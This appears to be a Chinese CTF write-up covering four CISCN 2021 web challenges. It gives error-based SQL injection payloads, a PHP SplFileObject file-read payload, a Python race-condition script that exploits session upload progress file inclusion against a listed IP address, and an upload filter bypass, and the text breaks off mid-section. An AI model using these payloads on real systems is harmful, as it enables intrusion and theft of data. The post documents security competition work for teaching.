您当前的位置: 首页 > 

ciscn国赛初赛web(4道低分题)

发布时间:2021-05-16 12:36:58 ,浏览量:7

文章目录
      • easy_sql
      • easy_source
      • middle_source
      • upload
easy_sql

经过简单尝试发现为单引号括号闭合,并且可用使用报错注入注出库名

uname=1')||extractvalue('abc',concat('~',database()))%23&passwd=1

在这里插入图片描述

接着尝试利用information_schema库注表名,但是发现information被过滤掉了 在这里插入图片描述

那么可用无列名注入 获取到第一个列名id uname=1') ||updatexml("~",concat("~",(select * from (select * from flag as a join flag b)c)),"~")%23&passwd=1 在这里插入图片描述

获取后续列名。 在这里插入图片描述

得到flag

uname=1')||updatexml(1,((select `e4f94828-d693-4ea1-8759-051b98824ce3` from flag limit 0,1)),1)%23&passwd=1

在这里插入图片描述

easy_source

扫描后台目录得到index.php.swp 得到源码如下

 private static $c = 0; function a() { return ++self::$c; } function b() { return ++self::$c; } function c() { return ++self::$c; } function d() { return ++self::$c; } function e() { return ++self::$c; } function f() { return ++self::$c; } function g() { return ++self::$c; } function h() { return ++self::$c; } function i() { return ++self::$c; } function j() { return ++self::$c; } function k() { return ++self::$c; } function l() { return ++self::$c; } function m() { return ++self::$c; } function n() { return ++self::$c; } function o() { return ++self::$c; } function p() { return ++self::$c; } function q() { return ++self::$c; } function r() { return ++self::$c; } function s() { return ++self::$c; } function t() { return ++self::$c; } } $rc=$_GET["rc"]; $rb=$_GET["rb"]; $ra=$_GET["ra"]; $rd=$_GET["rd"]; $method= new $rc($ra, $rb); var_dump($method->$rd()); 

根据提示猜测flag就在当前页面的代码中。 尝试用php原生类,并且构造方法的参数是两个的

DirectoryIterator

FilesystemIterator

GlobIterator 

SplFileObject

从上面的和文件操作有关的类中发现SplFileObject 类符合。 在这里插入图片描述 从php官网寻找相关读文件的的方法,发现fpassthru可用,最终payload ?rc=SplFileObject&ra=index.php&rb=r&rd=fpassthru 右键查看网页源代码得到flag

middle_source

扫描后台发现.listing文件 在这里插入图片描述 访问you_can_seeeeeeee_me.php得到phpinfo信息

在这里插入图片描述

在这里插入图片描述 发现可以利用session.upload_progress进行文件包含,并且session位置可知。

import requests import threading import sys
session=requests.session() sess='yu22x' url1="http://123.60.222.134:24086/" url2='http://123.60.222.134:24086/' data1={ 'PHP_SESSION_UPLOAD_PROGRESS':'' } data2={ '1':'var_dump(file_get_contents("/etc/fddeafiaah/fdcccedhae/hgefcbbiab/dhceefeafc/ejhcjafeac/fl444444g"));echo "zzx";', 'cf':'../../../../../../var/lib/php/sessions/dafbijggda/sess_'+sess } file={ 'file':'abc' } cookies={ 'PHPSESSID': sess } def write(): while True: r = session.post(url1,data=data1,files=file,cookies=cookies) def read(): while True: r = session.post(url2,data=data2) if 'zzx' in r.text: print(r.text) threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start() 

在这里插入图片描述 在这里插入图片描述

upload

扫描后台得到example.php 首先可以用下面内容绕过getimagesize

#define width 1
#define height 1

根据example.php中的代码要求,我们应该需要上传一个zip后缀的文件才可以利用 在这里插入图片描述 但是前面把i字符给过滤了。 但是我们发现在生成文件名时用了mb_strtolower()函数。 在这里插入图片描述 可以利用一些unicode字符绕过。经过测试发现

            
关注
打赏
1688896170
查看更多评论

暂无认证

  • 7浏览

    0关注

    115984博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文
立即登录/注册

微信扫码登录

0.0494s